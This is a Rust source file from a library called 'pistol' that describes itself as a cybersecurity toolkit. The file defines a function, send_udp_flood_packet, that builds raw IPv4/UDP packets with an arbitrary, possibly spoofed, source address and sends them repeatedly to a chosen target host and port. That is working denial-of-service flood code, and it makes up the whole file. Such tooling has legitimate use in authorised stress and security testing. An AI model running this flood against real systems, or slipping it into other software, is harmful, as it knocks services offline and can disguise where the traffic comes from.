pistol 4.0.18

A Rust Library about Cybersecurity
Documentation 
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use pnet::packet::ip::IpNextHeaderProtocols;
use pnet::packet::ipv4;
use pnet::packet::ipv4::Ipv4Flags;
use pnet::packet::ipv4::MutableIpv4Packet;
use pnet::packet::udp::MutableUdpPacket;
use pnet::packet::udp::ipv4_checksum;
use rand::Rng;
use std::net::Ipv4Addr;
use std::panic::Location;

use crate::error::PistolError;
use crate::layer::IPV4_HEADER_SIZE;
use crate::layer::UDP_HEADER_SIZE;
use crate::layer::layer3_ipv4_send;

const UDP_DATA_SIZE: usize = 0;
const TTL: u8 = 64;

pub fn send_udp_flood_packet(
    dst_ipv4: Ipv4Addr,
    dst_port: u16,
    src_ipv4: Ipv4Addr,
    src_port: u16,
    max_same_packet: usize,
) -> Result<usize, PistolError> {
    let mut rng = rand::rng();
    // ip header
    let mut ip_buff = [0u8; IPV4_HEADER_SIZE + UDP_HEADER_SIZE + UDP_DATA_SIZE];
    let mut ip_header = match MutableIpv4Packet::new(&mut ip_buff) {
        Some(p) => p,
        None => {
            return Err(PistolError::BuildPacketError {
                location: format!("{}", Location::caller()),
            });
        }
    };
    ip_header.set_version(4);
    ip_header.set_header_length(5);
    ip_header.set_total_length((IPV4_HEADER_SIZE + UDP_HEADER_SIZE + UDP_DATA_SIZE) as u16);
    let id = rng.random();
    ip_header.set_identification(id);
    ip_header.set_flags(Ipv4Flags::DontFragment);
    ip_header.set_ttl(TTL);
    ip_header.set_next_level_protocol(IpNextHeaderProtocols::Udp);
    ip_header.set_source(src_ipv4);
    ip_header.set_destination(dst_ipv4);
    let c = ipv4::checksum(&ip_header.to_immutable());
    ip_header.set_checksum(c);

    // udp header
    let mut udp_header = match MutableUdpPacket::new(&mut ip_buff[IPV4_HEADER_SIZE..]) {
        Some(p) => p,
        None => {
            return Err(PistolError::BuildPacketError {
                location: format!("{}", Location::caller()),
            });
        }
    };
    udp_header.set_source(src_port);
    udp_header.set_destination(dst_port);
    udp_header.set_length((UDP_HEADER_SIZE + UDP_DATA_SIZE) as u16);
    // udp_header.set_payload(&vec![b'a'; 10]); // test
    let checksum = ipv4_checksum(&udp_header.to_immutable(), &src_ipv4, &dst_ipv4);
    udp_header.set_checksum(checksum);
    let timeout = None;

    for _ in 0..max_same_packet {
        let _ret = layer3_ipv4_send(dst_ipv4, src_ipv4, &ip_buff, vec![], timeout, false)?;
    }
    Ok(ip_buff.len() * max_same_packet)
}